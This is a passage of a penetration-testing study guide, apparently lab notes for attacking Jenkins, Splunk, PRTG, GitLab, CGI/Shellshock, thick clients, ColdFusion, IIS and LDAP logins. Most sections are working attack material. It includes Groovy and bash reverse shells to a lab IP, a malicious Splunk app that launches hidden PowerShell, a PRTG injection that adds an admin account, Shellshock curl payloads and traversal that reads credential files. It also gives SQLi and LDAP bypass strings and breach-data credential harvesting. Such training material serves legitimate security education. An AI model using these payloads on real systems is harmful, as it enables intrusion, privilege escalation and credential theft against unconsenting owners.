    463     <img src="/diagrams/attacking-common-applications/jenkins.svg" alt="Jenkins butler mascot logo" style="height:88px;width:auto" loading="lazy" decoding="async" />
    464   </span>
    465   <figcaption><span>Jenkins · CI/CD automation server</span></figcaption>
    466 </figure>
    467 
    468 Jenkins is a CI server that frequently runs as `SYSTEM` (Windows) or `root` (Linux). Any authenticated access — even anonymous, if misconfigured — reaches the `/script` Groovy console, and Groovy compiles to JVM bytecode running with the full privileges of the Jenkins process. That makes it a fast, privileged foothold straight into an AD environment, skipping local privesc entirely.
    469 
    470 <figure class="flow plate corners">
    471   <figcaption class="flow__cap"><span class="flow__kind">Jenkins to RCE</span><span class="flow__dir">TD</span></figcaption>
    472   <div class="flow__body">
    473     <div class="flow__diagram" data-dir="td">
    474       <div class="flow-rank"><div class="flow-node is-entry">Fingerprint login on :8080</div></div>
    475       <div class="flow-edge"></div>
    476       <div class="flow-rank"><div class="flow-node is-decision">Auth?</div></div>
    477       <div class="flow-branches">
    478         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">None / weak creds</span></div></div>
    479         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Anon build+job rights</span></div></div>
    480       </div>
    481       <div class="flow-join"></div>
    482       <div class="flow-rank"><div class="flow-node">/script Groovy console</div></div>
    483       <div class="flow-edge"></div>
    484       <div class="flow-rank"><div class="flow-node">Runtime.exec() → reverse shell</div></div>
    485       <div class="flow-edge"></div>
    486       <div class="flow-rank"><div class="flow-node is-goal">Shell as SYSTEM/root</div></div>
    487     </div>
    488   </div>
    489 </figure>
    490 
    491 **Access the console** at `http://jenkins.inlanefreight.local:8000/script`. Run a command:
    492 
    493 ```groovy
    494 def cmd = 'id'
    495 def sout = new StringBuffer(), serr = new StringBuffer()
    496 def proc = cmd.execute()
    497 proc.consumeProcessOutput(sout, serr)
    498 proc.waitForOrKill(1000)
    499 println sout
    500 ```
    501 
    502 **Reverse shell (Linux)** — pass the payload as a raw process array to dodge Groovy string-interpolation issues:
    503 
    504 ```groovy
    505 r = Runtime.getRuntime()
    506 p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
    507 p.waitFor()
    508 ```
    509 ```bash
    510 nc -lvnp 8443     # → uid=0(root)
    511 ```
    512 
    513 **Windows** — `"cmd.exe /c dir".execute()` runs commands; a PowerShell download cradle or a raw Java-socket reverse shell avoids leaving a permanent change (and dodges PowerShell monitoring).
    514 
    515 > [!tip] Check misconfig before hunting CVEs
    516 > The old chained sandbox-bypass RCEs (CVE-2018-1999002 + CVE-2019-1003000) were fixed by the 2.303.1 LTS. Against a modern install, checking whether anonymous users have read/build/job-create rights is usually more productive than a version-specific exploit. Confirm the LTS version first.
    517 
    518 ---
    519 
    520 ## 7 · Splunk `fas:Terminal` — 8000 (mgmt 8089)
    521 
    522 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
    523   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
    524     <img src="/diagrams/attacking-common-applications/splunk.svg" alt="Splunk logo" style="height:44px;width:auto" loading="lazy" decoding="async" />
    525   </span>
    526   <figcaption><span>Splunk · log analytics / SIEM</span></figcaption>
    527 </figure>
    528 
    529 Splunk has few exploitable CVEs; the risk is weak or absent auth plus built-in functionality. A forgotten Enterprise *trial* silently downgrades to the auth-free *Free* edition after 60 days. Once you have admin — via no auth or weak creds — a custom app with a scripted input runs an arbitrary script on a schedule, as the Splunk service account (often `SYSTEM`/`root`).
    530 
    531 <figure class="flow plate corners">
    532   <figcaption class="flow__cap"><span class="flow__kind">Splunk to RCE</span><span class="flow__dir">TD</span></figcaption>
    533   <div class="flow__body">
    534     <div class="flow__diagram" data-dir="td">
    535       <div class="flow-rank"><div class="flow-node is-entry">Fingerprint: Splunkd httpd<span class="sub">on 8000/8089</span></div></div>
    536       <div class="flow-edge"></div>
    537       <div class="flow-rank"><div class="flow-node is-decision">Auth?</div></div>
    538       <div class="flow-branches">
    539         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Trial expired → Free</span></div><div class="flow-node">Direct admin, no creds</div></div>
    540         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Weak default</span></div><div class="flow-node">admin:changeme / weak pw</div></div>
    541       </div>
    542       <div class="flow-join"></div>
    543       <div class="flow-rank"><div class="flow-node">Custom app: bin/ script +<span class="sub">default/inputs.conf</span></div></div>
    544       <div class="flow-edge"></div>
    545       <div class="flow-rank"><div class="flow-node">tar.gz → Install app from file</div></div>
    546       <div class="flow-edge"></div>
    547       <div class="flow-rank"><div class="flow-node">Scripted input fires<span class="sub">→ reverse shell</span></div></div>
    548       <div class="flow-edge"></div>
    549       <div class="flow-rank"><div class="flow-node is-goal">Shell as Splunk account<span class="sub">(often SYSTEM)</span></div></div>
    550     </div>
    551   </div>
    552 </figure>
    553 
    554 **Fingerprint.** Both 8000 and 8089 reporting `Splunkd httpd` is definitive. Try `admin:changeme` (shown on old login pages) and common weak passwords if the trial scenario doesn't apply.
    555 
    556 **Build a malicious app.** Two files: the script Splunk runs, and the `inputs.conf` that schedules it (the `interval` field is mandatory — no interval, no execution):
    557 
    558 ```ini
    559 # splunk_shell/default/inputs.conf
    560 [script://.\bin\run.bat]
    561 disabled = 0
    562 sourcetype = shell
    563 interval = 10
    564 ```
    565 ```batch
    566 :: splunk_shell/bin/run.bat  →  launches a hidden PowerShell reverse shell
    567 @ECHO OFF
    568 PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
    569 Exit
    570 ```
    571 
    572 **Package and upload** — the app enables on upload and fires within `interval` seconds:
    573 
    574 ```bash
    575 tar -cvzf updater.tar.gz splunk_shell/
    576 sudo nc -lnvp 443
    577 #  Manage Apps → Install app from file → updater.tar.gz → Upload   →  whoami: nt authority\system
    578 ```
    579 
    580 > [!info] Pivot via a deployment server
    581 > If the compromised instance is a Splunk *deployment server*, dropping the app in `$SPLUNK_HOME/etc/deployment-apps` pushes it to every Universal Forwarder that checks in — one box becomes RCE across the fleet. Full Splunk ships Python (great for a Linux payload); Universal Forwarders don't, so use PowerShell on a Windows fleet.
    582 
    583 ---
    584 
    585 ## 8 · PRTG Network Monitor `fas:Terminal` — 8080
    586 
    587 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
    588   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
    589     <img src="/diagrams/attacking-common-applications/prtg.svg" alt="PRTG Network Monitor logo" style="height:46px;width:auto" loading="lazy" decoding="async" />
    590   </span>
    591   <figcaption><span>PRTG Network Monitor · Paessler</span></figcaption>
    592 </figure>
    593 
    594 PRTG (Paessler, Delphi) is an agentless monitor, rarely internet-facing but common internally (and the HTB box *Netmon*). Default `prtgadmin:prtgadmin` is often pre-filled and unchanged. Once in, CVE-2018-9276 turns a notification's "Execute Program" action into command execution as the PRTG account — frequently local admin.
    595 
    596 <figure class="flow plate corners">
    597   <figcaption class="flow__cap"><span class="flow__kind">PRTG to RCE</span><span class="flow__dir">LR</span></figcaption>
    598   <div class="flow__body">
    599     <div class="flow__diagram" data-dir="lr">
    600       <div class="flow-rank"><div class="flow-node is-entry">Fingerprint: Indy httpd<span class="sub">(Paessler PRTG)</span></div></div>
    601       <div class="flow-edge"></div>
    602       <div class="flow-rank"><div class="flow-node">Login: default/weak creds</div></div>
    603       <div class="flow-edge"></div>
    604       <div class="flow-rank"><div class="flow-node">Account Settings → Notifications<span class="sub">→ Add new</span></div></div>
    605       <div class="flow-edge"></div>
    606       <div class="flow-rank"><div class="flow-node">EXECUTE PROGRAM → outfile.ps1<span class="sub">+ malicious Parameter</span></div></div>
    607       <div class="flow-edge"></div>
    608       <div class="flow-rank"><div class="flow-node is-goal">Click Test → command runs</div></div>
    609     </div>
    610   </div>
    611 </figure>
    612 
    613 **Fingerprint and version.** `Indy httpd ... Paessler PRTG bandwidth monitor` in the banner is definitive; `17.3.33.2830` predates the 18.2.39 fix:
    614 
    615 ```bash
    616 sudo nmap -sV -p- --open -T4 10.129.201.50
    617 curl -s "http://10.129.201.50:8080/index.htm" -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)" | grep version
    618 ```
    619 
    620 **Exploit CVE-2018-9276.** The `Parameter` field is concatenated unsanitised into the PowerShell behind `outfile.ps1`, so a `;` chains your own command. It's blind — PRTG gives no feedback:
    621 
    622 ```
    623 Setup → Account Settings → Notifications → Add new notification
    624 Program File:  Demo exe notification - outfile.ps1
    625 Parameter:     test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add
    626 Save → Test
    627 ```
    628 
    629 **Confirm out of band** (scheduling instead of Test also gives lightweight persistence):
    630 
    631 ```bash
    632 sudo nxc smb 10.129.201.50 -u prtgadm1 -p 'Pwn3d_by_PRTG!'     # (Pwn3d!) = local admin over SMB
    633 ```
    634 
    635 > [!tip] CrackMapExec → NetExec
    636 > `crackmapexec` is superseded by the maintained fork **NetExec (`nxc`)** — same syntax family. On a real test, prefer a reverse shell over adding an account to keep the footprint small.
    637 
    638 ---
    639 
    640 ## 9 · osTicket `fas:Terminal` — methodology, not a CVE
    641 
    642 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
    643   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
    644     <img src="/diagrams/attacking-common-applications/osticket.png" alt="osTicket logo" style="height:46px;width:auto" loading="lazy" decoding="async" />
    645   </span>
    646   <figcaption><span>osTicket · support ticketing</span></figcaption>
    647 </figure>
    648 
    649 osTicket is well-maintained with a thin CVE history, so this section is a *pattern* that applies to any helpdesk (Zendesk, Freshdesk, Jira Service Desk): support portals hand out real company email addresses, and the humans running them leak credentials. This is the chain behind HTB's *Delivery*.
    650 
    651 <figure class="flow plate corners">
    652   <figcaption class="flow__cap"><span class="flow__kind">osTicket method</span><span class="flow__dir">TD</span></figcaption>
    653   <div class="flow__body">
    654     <div class="flow__diagram" data-dir="td">
    655       <div class="flow-rank"><div class="flow-node is-entry">Fingerprint: OSTSESSID cookie,<span class="sub">'powered by' footer</span></div></div>
    656       <div class="flow-branches">
    657         <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Submit a ticket →<span class="sub">get a company email address</span></div><div class="flow-edge"></div><div class="flow-node">Register on other portals<span class="sub">with that address</span></div></div>
    658         <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">OSINT breach data (Dehashed)</div><div class="flow-edge"></div><div class="flow-node">Try leaked creds on the portal</div><div class="flow-edge"></div><div class="flow-node">Read closed tickets:<span class="sub">password resets, VPN issues</span></div><div class="flow-edge"></div><div class="flow-node is-goal">Reused / new-joiner password<span class="sub">→ spray other services</span></div></div>
    659       </div>
    660     </div>
    661   </div>
    662 </figure>
    663 
    664 **Fingerprint.** Nmap only sees the webserver — the `OSTSESSID` cookie and footer branding identify osTicket.
    665 
    666 **Harvest an address.** Submitting a ticket returns a dedicated reply-to address — a valid company email you can use to self-register on other services requiring email verification.
    667 
    668 **Cross-reference breach data** against the domain:
    669 
    670 ```bash
    671 sudo python3 dehashed.py -q inlanefreight.local -p
    672 #  email: kevin@inlanefreight.local · username: kgrimes · password: Fish1ng_s3ason!
    673 ```
    674 
    675 Try both username and email on any login — `kevin@…` succeeded where `kgrimes` failed. Then mine the agent's closed tickets: password resets, VPN troubleshooting, and the classic "standard new-joiner password" sent in plaintext are all fair game. Export the address book as a ready-made spray list (`linkedin2username` helps build one from employee names).
    676 
    677 > [!tip] Newer replacements exist
    678 > Dehashed is the module's reference; `Have I Been Pwned` (API-gated) and `intelx.io` are common complements. Keep every breach-data lookup inside the engagement's rules of engagement.
    679 
    680 ---
    681 
    682 ## 10 · GitLab `fas:Terminal` — lab port 8081
    683 
    684 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
    685   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
    686     <img src="/diagrams/attacking-common-applications/gitlab.svg" alt="GitLab tanuki logo" style="height:54px;width:auto" loading="lazy" decoding="async" />
    687   </span>
    688   <figcaption><span>GitLab · self-hosted Git + CI/CD</span></figcaption>
    689 </figure>
    690 
    691 Self-hosted Git with wikis, issues, and CI/CD. Public and internal repos leak hardcoded secrets, SSH keys, and infra clues. GitLab has a long CVE list, but the most reliable finding is usually that self-registration is on, letting you walk in and browse internal projects.
    692 
    693 <figure class="flow plate corners">
    694   <figcaption class="flow__cap"><span class="flow__kind">GitLab method</span><span class="flow__dir">TD</span></figcaption>
    695   <div class="flow__body">
    696     <div class="flow__diagram" data-dir="td">
    697       <div class="flow-rank"><div class="flow-node is-entry">Fingerprint: login page, logo</div></div>
    698       <div class="flow-edge"></div>
    699       <div class="flow-rank"><div class="flow-node">Browse /explore (public projects)</div></div>
    700       <div class="flow-edge"></div>
    701       <div class="flow-rank"><div class="flow-node is-decision">Self-registration on?</div></div>
    702       <div class="flow-branches">
    703         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Yes</span></div><div class="flow-node">Register → internal projects</div><div class="flow-branches"><div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Mine repos: secrets, keys, config</div></div><div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">GitLab CE ≤ 13.10.2:<span class="sub">ExifTool metadata RCE</span></div><div class="flow-edge"></div><div class="flow-node is-goal">Shell as git user</div></div></div></div>
    704         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">No</span></div><div class="flow-node">Enumerate users via<span class="sub">'email already taken'</span></div></div>
    705       </div>
    706     </div>
    707   </div>
    708 </figure>
    709 
    710 **Fingerprint and enumerate.** The version only shows on `/help` after login, but `/explore` lists public projects unauthenticated — check it first. Username enumeration works via the registration oracle ("Email has already been taken") even when sign-up is disabled, because `/users/sign_up` stays reachable:
    711 
    712 ```bash
    713 ./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt
    714 #  [+] The username root exists!   [+] The username bob exists!
    715 ```
    716 
    717 > [!info] Lockout shapes your brute force
    718 > GitLab's default is 10 failed attempts, 10-minute auto-unlock, not changeable from the UI (it needs a source rebuild). Pace credential attacks against a discovered user list accordingly. GitLab doesn't even class username enumeration as a bug — but it directly feeds spray lists.
    719 
    720 **Register and mine** repos for hardcoded credentials, committed secrets in history, snippets, and stray SSH keys.
    721 
    722 **CVE — GitLab CE ≤ 13.10.2 authenticated RCE via ExifTool** (self-registration makes the required creds trivial):
    723 
    724 ```bash
    725 python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u mrb3n -p password1 \
    726   -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f'
    727 nc -lnvp 8443       # → uid=996(git)
    728 ```
    729 
    730 > [!tip] The unauth successor
    731 > CVE-2021-22205 is an *unauthenticated* ExifTool RCE in a slightly later range and the more commonly cited GitLab bug. GitLab patches fast — always match the exact CE/EE version against current advisories before trusting either.
    732 
    733 ---
    734 
    735 ## 11 · CGI & Shellshock `fas:Terminal`
    736 
    737 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
    738   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
    739     <img src="/diagrams/attacking-common-applications/shellshock.svg" alt="Shellshock vulnerability logo" style="height:76px;width:auto" loading="lazy" decoding="async" />
    740   </span>
    741   <figcaption><span>Shellshock · CVE-2014-6271 (Bash)</span></figcaption>
    742 </figure>
    743 
    744 CGI is legacy middleware that hands requests to scripts in `cgi-bin`. It's mostly gone from modern servers but lingers on embedded/IoT gear. The classic attack is Shellshock (CVE-2014-6271): vulnerable Bash (≤ 4.3) mis-parses a function definition in an environment variable and runs anything appended after it — and CGI copies HTTP headers into environment variables.
    745 
    746 <figure class="flow plate corners">
    747   <figcaption class="flow__cap"><span class="flow__kind">CGI Shellshock</span><span class="flow__dir">TD</span></figcaption>
    748   <div class="flow__body">
    749     <div class="flow__diagram" data-dir="td">
    750       <div class="flow-rank"><div class="flow-node is-entry">Discover cgi-bin scripts</div></div>
    751       <div class="flow-edge"></div>
    752       <div class="flow-rank"><div class="flow-node">Test User-Agent header oracle</div></div>
    753       <div class="flow-edge"></div>
    754       <div class="flow-rank"><div class="flow-node is-decision">Bash bug present?</div></div>
    755       <div class="flow-branches">
    756         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Yes</span></div><div class="flow-node">Chain command after<span class="sub">the function definition</span></div><div class="flow-edge"></div><div class="flow-node is-goal">Reverse shell as web user</div></div>
    757         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">No</span></div><div class="flow-node">Patched — move on</div></div>
    758       </div>
    759     </div>
    760   </div>
    761 </figure>
    762 
    763 **Understand the bug** — everything after the closing `};` runs on a vulnerable shell:
    764 
    765 ```bash
    766 env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"
    767 #  vulnerable host prints "vulnerable-shellshock" as well
    768 ```
    769 
    770 **Discover a CGI script** (a `200` with zero length still counts — it just produced no output for a GET):
    771 
    772 ```bash
    773 feroxbuster -u http://10.129.204.231/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -t 50 -x cgi
    774 #  /access.cgi (200) [Size: 0]
    775 ```
    776 
    777 **Confirm via User-Agent, then shell** — the double `echo ;` gives a clean response separator:
    778 
    779 ```bash
    780 # read a file
    781 curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' http://10.129.204.231/cgi-bin/access.cgi
    782 # reverse shell
    783 curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://10.129.204.231/cgi-bin/access.cgi
    784 sudo nc -lvnp 7777      # → www-data
    785 ```
    786 
    787 `Referer` and `Cookie` can be injection points too — any header CGI turns into an environment variable works.
    788 
    789 ---
    790 
    791 ## 12 · Thick client applications `fas:Terminal`
    792 
    793 Thick (fat) clients run real logic locally — Java/.NET/C++ CRMs, internal utilities, project tools. They dodge browser bugs (XSS, CSRF) but fall to hardcoded credentials, insecure local storage, DLL hijacking, and — for three-tier apps — the same SQLi/path-traversal you'd find on the web, once you reverse the protocol.
    794 
    795 <figure class="flow plate corners">
    796   <figcaption class="flow__cap"><span class="flow__kind">Thick client method</span><span class="flow__dir">TD</span></figcaption>
    797   <div class="flow__body">
    798     <div class="flow__diagram" data-dir="td">
    799       <div class="flow-rank"><div class="flow-node is-entry">Info gathering:<span class="sub">architecture, language, entry points</span></div></div>
    800       <div class="flow-branches">
    801         <div class="flow-lane"><div class="flow-edge"></div><div class="flow-rank"><div class="flow-node">Static: disassemble/decompile</div><div class="flow-node">Network: Wireshark/Burp<span class="sub">on client↔server traffic</span></div></div><div class="flow-join"></div><div class="flow-node">Patch client logic:<span class="sub">ports, filters, validation</span></div><div class="flow-edge"></div><div class="flow-node is-goal">Exploit server bugs:<span class="sub">SQLi, path traversal</span></div></div>
    802         <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Dynamic: ProcMon, debugger,<span class="sub">memory dump</span></div></div>
    803       </div>
    804     </div>
    805   </div>
    806 </figure>
    807 
    808 > [!info] Two-tier vs three-tier
    809 > **Two-tier**: client talks straight to the DB — the client binary can potentially reach it directly. **Three-tier**: client → app server → DB. Safer by design, but the middle tier becomes attackable with web-style bugs once you reverse its protocol.
    810 >
    811 > **Toolkit** — reversing: Ghidra, IDA, dnSpyEx, x64dbg, JADX, JD-GUI, de4dot. Dynamic: Process Monitor, Frida, OllyDbg. Network: Wireshark, tcpdump, Burp (for proxyable TCP).
    812 
    813 **Capture a self-cleaning dropper's payload** (the *Restart-Oracle-Service* scenario). The EXE drops a `.bat`, decodes a base64 EXE, runs it, deletes both. Deny delete on the temp folder before re-running so the artefacts survive:
    814 
    815 ```
    816 ProcMon64 → watch %LOCALAPPDATA%\Temp for the dropped file
    817 Temp → Properties → Security → Advanced → Disable inheritance
    818       → deselect "Delete subfolders and files" and "Delete"
    819 Re-run the EXE → the .bat now survives (it base64-decodes oracle.txt → restart-service.exe)
    820 ```
    821 
    822 **Recover hardcoded creds from memory.** In x64dbg, restrict breakpoints to Exit so you land in the app's own code, find an `-RW-` region with an `MZ` header (an in-memory PE hiding from disk AV), and dump it:
    823 
    824 ```bash
    825 strings64.exe .\restart-service_00000000001E0000.bin      # .NETFramework,Version=v4.0
    826 #  de4dot deobfuscates the dump → dnSpy reads it as near-original C# with creds inline
    827 ```
    828 
    829 **Reverse a client/server app** (*Fatty*, condensed). Patch the hardcoded port in the JAR's Spring config, then strip the JAR's own integrity check so the modified client runs:
    830 
    831 ```powershell
    832 Select-String -Path fatty-client\* -Pattern "8000" -Recurse    # beans.xml <constructor-arg index="1" value="8000"/>
    833 #  edit the port; delete SHA-256 digests from META-INF/MANIFEST.MF and the .RSA/.SF files; jar -cmf to rebuild
    834 ```
    835 
    836 **Bypass client-side access control (path traversal).** The server strips `/` from folder names, but the *client* decides what to send — decompile and patch it to send `..`:
    837 
    838 ```
    839 JD-GUI → decompile → ClientGuiTest.java: currentFolder = "configs"  →  ".."
    840 javac -cp fatty-client-new.jar ...\ClientGuiTest.java     # swap only the patched .class into the JAR
    841 ```
    842 
    843 **SQLi in the decompiled server logic.** The username is concatenated into the query; the password is hashed client-side (`SHA-256(user+pass+secret)`), so `' OR '1'='1` fails the hash compare. A UNION injection supplies every column directly, and patching `setPassword()` to send plaintext makes the client value match the injected literal:
    844 
    845 ```java
    846 // server: "SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'"
    847 // login:  qtc' UNION SELECT 1,'abc','a@a','abc','admin      (password: abc)
    848 ```
    849 
    850 > [!tip] Maintained forks
    851 > `dnSpy` is archived — use **dnSpyEx**. **Ghidra** is a fully viable free IDA alternative for native code; reach for IDA only where its decompiler handles a specific architecture better. **Frida** hooks a suspected function without a full static pass.
    852 
    853 ---
    854 
    855 ## 13 · ColdFusion `fas:Terminal` — port 8500
    856 
    857 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
    858   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
    859     <img src="/diagrams/attacking-common-applications/coldfusion.svg" alt="Adobe ColdFusion logo" style="height:52px;width:auto" loading="lazy" decoding="async" />
    860   </span>
    861   <figcaption><span>Adobe ColdFusion · CFML app server</span></figcaption>
    862 </figure>
    863 
    864 ColdFusion (CFML, Adobe) is Java-based with a recognisable footprint: `.cfm`/`.cfc` extensions, port 8500 for SSL, and `/CFIDE/administrator/`. Older versions carry a traversal that leaks the encrypted datasource store and an unauth RCE via the bundled FCKeditor.
    865 
    866 <figure class="flow plate corners">
    867   <figcaption class="flow__cap"><span class="flow__kind">ColdFusion to RCE</span><span class="flow__dir">TD</span></figcaption>
    868   <div class="flow__body">
    869     <div class="flow__diagram" data-dir="td">
    870       <div class="flow-rank"><div class="flow-node is-entry">Fingerprint: 8500, .cfm/.cfc,<span class="sub">/CFIDE/administrator/</span></div></div>
    871       <div class="flow-edge"></div>
    872       <div class="flow-rank"><div class="flow-node">searchsploit adobe coldfusion</div></div>
    873       <div class="flow-edge"></div>
    874       <div class="flow-rank"><div class="flow-node is-decision">Version</div></div>
    875       <div class="flow-branches">
    876         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">≤ 9.0.1</span></div><div class="flow-node">CVE-2010-2861<span class="sub">traversal → password.properties</span></div></div>
    877         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">≤ 8.0.1</span></div><div class="flow-node">CVE-2009-2265<span class="sub">FCKeditor unauth RCE</span></div><div class="flow-edge"></div><div class="flow-node is-goal">Upload JSP → shell as CF account</div></div>
    878       </div>
    879     </div>
    880   </div>
    881 </figure>
    882 
    883 **Fingerprint** on port 8500 + `CFIDE`/`cfdocs` in the webroot; the admin login often discloses the major version. Then match exploits:
    884 
    885 ```bash
    886 nmap -p- -sC -Pn 10.129.247.30 --open      # 8500/tcp open fmtp
    887 searchsploit adobe coldfusion
    888 #  Directory Traversal ............ multiple/remote/14641.py
    889 #  ColdFusion 8 - RCE ............. cfm/webapps/50057.py
    890 ```
    891 
    892 **CVE-2010-2861 — traversal to leak `password.properties`** (mishandled `locale` param in several bundled `.cfm` files). Values are encrypted, but it's the credential store for every datasource CF connects to:
    893 
    894 ```bash
    895 python2 14641.py 10.129.204.230 8500 "../../../../../../../../ColdFusion8/lib/password.properties"
    896 #  password=2F635F...  encrypted=true
    897 ```
    898 
    899 **CVE-2009-2265 — unauth RCE via the FCKeditor connector** (`/CFIDE/scripts/ajax/FCKeditor/.../upload.cfm` accepts an arbitrary file upload). The PoC uploads a JSP, triggers it, and cleans up:
    900 
    901 ```bash
    902 python3 50057.py      # generates + uploads JSP payload, catches the shell as the CF service account
    903 ```
    904 
    905 > [!tip] Both CVEs are CF 8/9-era
    906 > Current ColdFusion (2021/2023) has a very different, hardened surface. Confirm the version from `/CFIDE/administrator` or the `Server` header before assuming either applies; pair `searchsploit` with a manual NVD/vendor check.
    907 
    908 ---
    909 
    910 ## 14 · IIS tilde (8.3 short-name) enumeration `fas:Terminal`
    911 
    912 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
    913   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
    914     <img src="/diagrams/attacking-common-applications/iis.png" alt="Microsoft IIS logo" style="height:52px;width:auto" loading="lazy" decoding="async" />
    915   </span>
    916   <figcaption><span>Microsoft IIS · Windows web server</span></figcaption>
    917 </figure>
    918 
    919 Windows generates a legacy 8.3 short name for every file (`somefi~1.txt`) for DOS compatibility. Some IIS versions answer tilde-prefixed requests differently depending on whether a prefix matches, so you can rebuild hidden names one character at a time — turning "guess the whole filename" into "guess an 8-char prefix".
    920 
    921 <figure class="flow plate corners">
    922   <figcaption class="flow__cap"><span class="flow__kind">IIS short-name enum</span><span class="flow__dir">LR</span></figcaption>
    923   <div class="flow__body">
    924     <div class="flow__diagram" data-dir="lr">
    925       <div class="flow-rank"><div class="flow-node is-entry">Fingerprint IIS, check OPTIONS</div></div>
    926       <div class="flow-edge"></div>
    927       <div class="flow-rank"><div class="flow-node">IIS-ShortName-Scanner</div></div>
    928       <div class="flow-edge"></div>
    929       <div class="flow-rank"><div class="flow-node">Partial names, e.g. TRANSF~1.ASP</div></div>
    930       <div class="flow-edge"></div>
    931       <div class="flow-rank"><div class="flow-node">Build a targeted wordlist<span class="sub">(words starting 'transf')</span></div></div>
    932       <div class="flow-edge"></div>
    933       <div class="flow-rank"><div class="flow-node is-goal">Fuzz with extensions →<span class="sub">recover the full name</span></div></div>
    934     </div>
    935   </div>
    936 </figure>
    937 
    938 **Fingerprint and scan** (the numeric args tune threads/requests; it reports the working HTTP method and every partial name):
    939 
    940 ```bash
    941 nmap -p- -sV -sC --open 10.129.224.91          # Microsoft IIS httpd 7.5
    942 java -jar iis_shortname_scanner.jar 0 5 http://10.129.204.231/
    943 #  Vulnerable! · method: OPTIONS · dirs: ASPNET~1, UPLOAD~1 · files: CSASPX~1.CS, TRANSF~1.ASP
    944 ```
    945 
    946 **Narrow the partial name into a wordlist, then recover the full filename:**
    947 
    948 ```bash
    949 egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt
    950 feroxbuster -u http://10.129.204.231/ -w /tmp/list.txt -t 50 -x aspx,asp
    951 #  /transfer.aspx (200)
    952 ```
    953 
    954 > [!tip] It's a legacy behaviour
    955 > Modern IIS/.NET configs often have this disabled. Always let the scanner's own vulnerability check confirm applicability before you spend time building wordlists.
    956 
    957 ---
    958 
    959 ## 15 · LDAP injection & mass assignment `fas:Terminal`
    960 
    961 Two source-driven bug classes. LDAP-backed logins that concatenate input into a filter fall to injection (the LDAP cousin of SQLi). Framework "mass assignment" binds a whole form onto a model, letting you set fields — `admin`, `confirmed` — that were never meant to be user-controllable.
    962 
    963 <figure class="flow plate corners">
    964   <figcaption class="flow__cap"><span class="flow__kind">LDAP injection bypass</span><span class="flow__dir">TD</span></figcaption>
    965   <div class="flow__body">
    966     <div class="flow__diagram" data-dir="td">
    967       <div class="flow-rank"><div class="flow-node is-entry">nmap: ldap/389 beside web/80</div></div>
    968       <div class="flow-edge"></div>
    969       <div class="flow-rank"><div class="flow-node">Login likely LDAP-backed</div></div>
    970       <div class="flow-edge"></div>
    971       <div class="flow-rank"><div class="flow-node">Inject * into user/pass</div></div>
    972       <div class="flow-edge"></div>
    973       <div class="flow-rank"><div class="flow-node">(&amp;(objectClass=user)(sAMAccountName=*)(userPassword=*))<span class="sub">matches any record</span></div></div>
    974       <div class="flow-edge"></div>
    975       <div class="flow-rank"><div class="flow-node is-goal">Auth bypass</div></div>
    976     </div>
    977   </div>
    978 </figure>
    979 
    980 > [!info] LDAP vs Active Directory
    981 > LDAP is a *protocol* for querying directory data; Active Directory is a directory *service* that speaks LDAP (plus Kerberos, DNS, and more). OpenLDAP is the common cross-platform implementation you meet outside pure-Windows shops. Injection metacharacters: `*` (wildcard), `()` (grouping), `&`/`|` (AND/OR) — `(cn=*)` is the `' OR '1'='1` of LDAP.
    982 
    983 **Query directly** to understand the schema, then look for `ldap/389` next to a web login (a strong hint the login is LDAP-backed):
    984 
    985 ```bash
    986 ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 \
    987   -b "ou=people,dc=example,dc=com" "(mail=jdoe@example.com)"
    988 nmap -p- -sC -sV --open --min-rate=1000 10.129.204.229     # 389/tcp OpenLDAP
    989 ```
    990 
    991 **Bypass with a wildcard** — `Username: *` / `Password: *` builds a filter that matches any user with a non-empty password.
    992 
